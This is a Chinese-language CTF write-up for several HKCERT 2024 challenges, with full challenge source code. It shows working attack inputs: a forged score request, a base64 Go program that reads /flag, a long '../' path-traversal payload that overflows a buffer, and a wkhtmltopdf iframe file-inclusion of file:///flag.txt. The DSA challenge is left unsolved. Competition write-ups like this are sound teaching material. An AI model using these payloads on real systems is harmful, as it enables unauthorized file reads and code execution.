0x01 前言
这周末比赛好多。和哥哥们一起看看
0x02 question
最初的挑戰
直接提交flag就可以了
新免費午餐
我去,这个比赛居然还给wp,貌似是真手把手题目?
看了一下这个游戏是很简单的,但是60S是肯定得不到300分的,所以只能抓包来修改参数
随便玩一次游戏抓包发现是这样子,那么应该是可以篡改的
POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 85
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
{"score":3,"hash":"cf15a60bdb67bddc1f6303fcd95cf05fd103eaed81fbd57e627c1134f792472e"}
但是这个hash值不知道怎么改,看看源码

async function endGame() {
clearInterval(gameInterval);
clearInterval(timerInterval);
alert('Game Over! Your score: ' + score);
const hash = generateHash(secretKey + username + score);
fetch('/update_score.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
score: score,
hash: hash
})
})
这里直接修改就好了

POST /update_score.php HTTP/2
Host: c08-new-free-lunch-0.hkcert24.pwnable.hk
Cookie: PHPSESSID=9448dc25a56a476c065fc1484a18cb18
Content-Length: 87
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer 1dcb18b229d0006650c0da3a46fb4c05
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://c08-new-free-lunch-0.hkcert24.pwnable.hk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c08-new-free-lunch-0.hkcert24.pwnable.hk/game.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
{"score":303,"hash":"d869d6972c9d9c7fb016174fd1821b789b0bffed314cd7b08b305eda7c33f6f8"}
數立僉章寅算法
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib
# Computes the inverse of a mod prime p
def inverse(a, p):
return pow(a, p-2, p)
def hash(m):
h = hashlib.sha256(m).digest()
return int.from_bytes(h, 'big')
def generate_parameters():
# FIPS 186-4 specifies that p and q can be of (2048, 256) bits
while True:
q = get_prime(256)
r = secrets.randbits(2048-256)
p = r*q + 1
if p.bit_length() != 2048: continue
if not is_prime(p): continue
break
h = 1
while True:
h += 1
g = pow(h, (p-1)//q, p)
if g == 1: continue
break
return p, q, g
def sign(params, x, m):
p, q, g = params
k = secrets.randbelow(q)
r = pow(g, k, p) % q
s = inverse(k, q) * (hash(m) + x*r) % q
return (r, s)
def verify(params, y, m, sig):
p, q, g = params
r, s = sig
assert 0 < r < p
assert 0 < s < p
w = inverse(s, q)
u1 = hash(m) * w % q
u2 = r * w % q
v = pow(g, u1, p) * pow(y, u2, p) % p % q
assert v == r
def main():
# The parameters were generated by generate_parameters(), which will take some time to generate.
# With that reason, we will use a fixed one instead of a random one.
p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248
print(f'{p = }')
print(f'{q = }')
print(f'{g = }')
x = secrets.randbelow(q)
y = pow(g, x, p)
print(f'{y = }')
m = b'gib flag'
r = int(input('r = '))
s = int(input('s = '))
verify((p, q, g), y, m, (r, s))
flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
print(flag)
if __name__ == '__main__':
main()
- 签名生成:
- 使用私钥(在这里是随机生成的x)和消息m生成签名(r, s)。
- 具体过程如下:
- 生成一个随机数k。
- 计算r = (g^k mod p) mod q。
- 计算s = (k^(-1) * (hash(m) + x * r)) mod q。
- 签名(r, s)由这两个值组成。
- 签名验证:
- 使用公钥(y)和消息m来验证签名(r, s)的有效性。
- 验证过程如下:
- 计算s的模q的乘法逆元w。
- 计算u1 = (hash(m) * w) mod q 和 u2 = (r * w) mod q。
- 计算v = ((g^u1 mod p) * (y^u2 mod p)) mod p mod q。
- 如果v等于r,则签名有效;否则无效。
import os
from Crypto.Util.number import getPrime as get_prime
from Crypto.Util.number import isPrime as is_prime
import secrets
import hashlib
def inverse(a, p):
# 计算 a 在模 p 下的逆元
return pow(a, p - 2, p)
def hash(m):
# 计算消息的 SHA-256 哈希值并返回整数
h = hashlib.sha256(m).digest()
return int.from_bytes(h, 'big')
def sign(params, x, m):
p, q, g = params
# 随机生成 k 并计算签名
k = secrets.randbelow(q)
r = pow(g, k, p) % q
s = (inverse(k, q) * (hash(m) + x * r)) % q
print(f'Signing: k={k}, r={r}, s={s}, hash(m)={hash(m)}, x={x}') # 调试信息
return (r, s)
def verify(params, y, m, sig):
p, q, g = params
r, s = sig
# 确保 r 和 s 在 (0, q) 范围内
assert 0 < r < q, f"r={r} is out of range"
assert 0 < s < q, f"s={s} is out of range"
# 计算签名的验证值
w = inverse(s, q)
u1 = (hash(m) * w) % q
u2 = (r * w) % q
v = (pow(g, u1, p) * pow(y, u2, p)) % p % q
print(f'Verifying: u1={u1}, u2={u2}, v={v}, r={r}') # 调试信息
# 进行签名验证
assert v == r, f"Verification failed: v={v}, r={r}"
def main():
# 使用固定参数
p = 17484281359996796703320753329289113133879315487679543624741105110874484027222384531803606958810995970161525595158267517181794414300756262340838882222415769778596720783078367872913954804658072233160036557319401158197234539657653635114116129319712841746177858547689703847179830876938850791424742190500438426350633498257950965188623233005750174576134802300600490139756306854032656842920490457629968890761814183283863329460516285392831741363925618264196019954486854731951282830652117210758060426483125525221398218382779387124491329788662015827601101640859700613929375036792053877746675842421482667089024073397901135900307
q = 113298192013516195145250438847099037276290008150762924677454979772524099733149
g = 2240914810379680126339108531401169275595161144670883986559069211999660898639987625873945546061830376966978596453328760234030133281772778843957617704660733666090807506024220142764237508766050356212712228439682713526208998745633642827205871276203625236122884797705545378063530457025121059332887929777555045770309256917282489323413372739717067924463128766609878574952525765509768641958927377639405729673058327662319958260422021309804322093360414034030331866591802559201326691178841972572277227570498592419367302032451643108376739154217604459747574970395332109358575481017157712896404133971465638098583730000464599930248
x = secrets.randbelow(q) # 随机生成私钥
y = pow(g, x, p) # 计算公钥
m = b'gib flag' # 要签名的消息
# 生成签名
r, s = sign((p, q, g), x, m)
print(f'Signature: r = {r}, s = {s}') # 打印签名
# 验证签名
verify((p, q, g), y, m, (r, s))
# 获取并打印 flag
flag = os.getenv('FLAG', 'hkcert24{***REDACTED***}')
print(flag)
if __name__ == '__main__':
main()
但是k是随机的,这里怎么处理呢
自行取旗
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile
FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"
print("Encode your Go program in base64")
code = input(">> ")
with tempfile.TemporaryDirectory() as td:
fn = token_hex(16)
src = os.path.join(td, f"{fn}")
with open(src+".go", "w") as f:
f.write(b64decode(code).decode())
p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
if p.returncode != 0:
print(r"Fail to build ¯\_(ツ)_/¯")
sys.exit(1)
_ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if _.returncode == 0:
print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
sys.exit(1)
if b"panic" in _.stderr:
print("I am calm...")
sys.exit(1)
print(f"You are an experienced Go developer, here's your flag: {FLAG}")
sys.exit(1)
看了一下代码可以把go程序的进行base64编码传入让他任意执行
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("ls", "-l", "./")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

安装环境之后测试没有问题
然后写个查看flag的编码即可
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("tac", "/flag")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
cGFja2FnZSBtYWluDQoNCmltcG9ydCAoDQoiZm10Ig0KImxvZyINCiJvcy9leGVjIg0KKQ0KDQpmdW5jIG1haW4oKSB7DQogICAgICAgIGNtZCA6PSBleGVjLkNvbW1hbmQoInRhYyIsICIvZmxhZyIpDQogICAgICAgIG91dCwgZXJyIDo9IGNtZC5Db21iaW5lZE91dHB1dCgpDQogICAgICAgIGlmIGVyciAhPSBuaWwgew0KICAgICAgICBmbXQuUHJpbnRmKCJjb21iaW5lZCBvdXQ6XG4lc1xuIiwgc3RyaW5nKG91dCkpDQogICAgICAgICAgICAgICAgbG9nLkZhdGFsZigiY21kLlJ1bigpIGZhaWxlZCB3aXRoICVzXG4iLCBlcnIpDQogICAgICAgIH0NCiAgICAgICAgZm10LlByaW50ZigiY29tYmluZWQgb3V0OlxuJXNcbiIsIHN0cmluZyhvdXQpKQ0KfQ==
已知用火 (1)
有源码,进来我先看dockerfile
FROM ubuntu:jammy-20240911.1
WORKDIR /app
ENV DEBIAN_FRONTEND noninteractive
RUN apt update
RUN apt -y install gcc
COPY ./src .
COPY ./flag.txt /flag.txt
RUN gcc server.c -o server
RUN useradd -ms /bin/bash www
USER www
ENTRYPOINT ["/app/server"]
一看就是在server.c里面了
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#define PORT 8000
#define BUFFER_SIZE 1024
typedef struct {
char *content;
int size;
} FileWithSize;
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);
return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
char *response_body_fmt =
"HTTP/1.1 %u %s\r\n"
"Server: mystiz-web/1.0.0\r\n"
"Content-Type: text/html\r\n"
"Connection: %s\r\n"
"Content-Length: %u\r\n"
"\r\n";
char response_body[BUFFER_SIZE];
sprintf(response_body,
response_body_fmt,
status_code,
status_description,
status_code == 200 ? "keep-alive" : "close",
file->size);
write(socket_id, response_body, strlen(response_body));
write(socket_id, file->content, file->size);
free(file->content);
free(file);
return;
}
void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int socket_id = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
if (listen(socket_id, 5) < 0) exit(1);
while (1) {
int client_address_len;
int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
if (new_socket_id < 0) exit(1);
int pid = fork();
if (pid == 0) {
handle_client(new_socket_id);
close(new_socket_id);
}
}
}
先慢慢看代码
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);
return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
检查text后缀是否是suffix
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
读取文件内容,但是有一些限制,并且是把文件存在public下面的
那么看完整个代码就觉得这里会有路径穿越导致能够直接读取
我们知道在根目录之后就是继续回退也是在根目录
cat /../../../../../../../../../../../../../../../etc/../etc/../flag

类似的就可以直接去读取了
/../../../../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../etc/../flag
这样子本身去读是没有问题的,但是尝试了一下发现读不出来会跳转404
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js
而为什么是这个payload呢原因在于这里

这里要让他溢出使得能够读取文件那么要让1024溢出,我们这里一看是倍数的并且能够目录穿越的也只有1024了,或者说我们随便试试1008

不够,下次倍数刚好能够溢出

再写倍数的话1072也不行所以就只有那一个poc可以打通
PDF 生成器(1)
下载好附件之后一进来就看到了模版渲染
excute_command.py
# Thanks LLM, I am a full-stack python programmer with security in mind now!
# https://poe.com/s/wuK3sK1GFql2Ay3A8EfO
import subprocess
import shlex
def execute_command(command):
"""
Execute an external OS program securely with the provided command.
Args:
command (str): The command to execute.
Returns:
tuple: (stdout, stderr, return_code)
"""
# Split the command into arguments safely
args = shlex.split(command)
try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode
# Example usage
if __name__ == "__main__":
command = "ls -l" # Replace with your command
stdout, stderr, return_code = execute_command(command)
print("STDOUT:", stdout)
print("STDERR:", stderr)
print("Return Code:", return_code)
main.py
from flask import Flask, request, make_response, redirect, render_template_string
import uuid
import requests
from execute_command import execute_command
app = Flask(__name__, static_folder='')
@app.route('/', methods=['GET'])
def index():
# HTML template for the form
FORM_TEMPLATE = '''
<!doctype html>
<html>
<head><title>Webpage to PDF</title></head>
<body>
<h1>Webpage to PDF</h1>
<form action="{{ url_for('process_url') }}" method="post">
<label for="url">Enter URL:</label>
<input type="url" id="url" name="url" required>
<button type="submit">Submit</button>
</form>
</body>
</html>
'''
response = make_response(render_template_string(FORM_TEMPLATE))
# Generate a session ID if it doesn't exist
session_id = request.cookies.get('session_id')
if not session_id:
session_id = str(uuid.uuid4())
response.set_cookie('session_id', session_id)
return response
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf"
# Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
with open(html_file, 'w') as file:
file.write(response.text)
# Make PDF
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')
if returncode != 0:
return f"""
<h1>Error</h1>
<pre>{stdout}</pre>
<pre>{stderr}</pre>
"""
return redirect(pdf_file)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
首先我们看命令执行函数就是做了一个检查然后就进行命令执行了,所以本地测试的时候是可以直接执行的


看到了很多session_id,如果生成了PDF会直接跳转到PDF如果没有的话会直接跳转到process
我们使用
url=https://example.com/
发现生成成功了,观察这个PDF,代码里面说了是用wkhtmltopdf来生成,我们现在再看看
再多次尝试发现,文件名都是session_id,而且是 wkhtmltopdf 0.12.5来生成的

搜索一下发现姿势
https://www.virtuesecurity.com/kb/wkhtmltopdf-file-inclusion-vulnerability-2/

随便写个html

那直接用file协议读就可以了
<h1>Hello world!</h1>
<iframe src="file:///flag.txt" height="500" width="500">
结果失败了,原来网站处理的是这样子
wkhtmltopdf {session_id}.html {session_id}.pdf
这里我们要访问本地需要加一个参数
Warning: Blocked access to file /flag.txt
搜索就可以得到
--enable-local-file-access
要加上这个参数(这个不用说吧

0x03 小结
这个比赛非常有新意,RE的哥哥几乎就要A了,哎我什么时候能做这么大的贡献呢